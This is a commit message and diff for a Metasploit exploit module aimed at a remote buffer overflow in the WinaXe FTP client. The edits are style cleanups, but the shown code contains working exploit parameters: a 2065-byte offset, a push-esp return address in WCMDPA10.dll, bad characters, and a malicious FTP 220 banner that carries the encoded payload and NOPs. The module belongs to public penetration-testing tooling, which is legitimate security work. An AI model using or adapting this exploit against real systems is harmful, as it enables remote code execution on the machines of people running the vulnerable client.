Updated with style suggestions from msftidy and rubocop.

Also updated with commented from other contributors.

Author: Chiggins

modules/exploits/windows/ftp/winaxe_server_ready.rb

@@ -25,23 +25,26 @@ def initialize(info = {})
       'References'     =>
         [
           [ 'EDB', '40693'],
-          [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ], # Put this in later
+          [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
         ],
       'DefaultOptions' =>
         {
-          'EXITFUNC' => 'thread',
+          'EXITFUNC' => 'thread'
         },
       'Payload'        =>
         {
           'Space'    => 1000,
-          'BadChars' => "\x00\x0a\x0d",
+          'BadChars' => "\x00\x0a\x0d"
         },
       'Platform'       => 'win',
       'Targets'        =>
         [
-          [ 'Windows Universal', { 
+          [ 'Windows Universal',
+            {
               'Offset' => 2065,
-              'Ret' => 0x68017296} ], # push esp # ret 0x04 WCMDPA10.dll
+              'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
+            }
+          ]
         ],
       'Privileged'     => false,
       'DisclosureDate' => 'Nov 03 2016',
@@ -52,11 +55,10 @@ def setup
     super
   end
 
-  def on_client_unknown_command(c,cmd,arg)
+  def on_client_unknown_command(c, _cmd, _arg)
     c.put("200 OK\r\n")
   end
 
-  #def on_client_command_list(c,arg)
   def on_client_connect(c)
       print_status("Client connected...")
 
@@ -66,10 +68,8 @@ def on_client_connect(c)
       sploit << payload.encoded
       sploit << make_nops(20)
 
-      print_status("Sending exploit")
       c.put("220" + sploit + "\r\n")
       c.close
-      return
   end
 
 end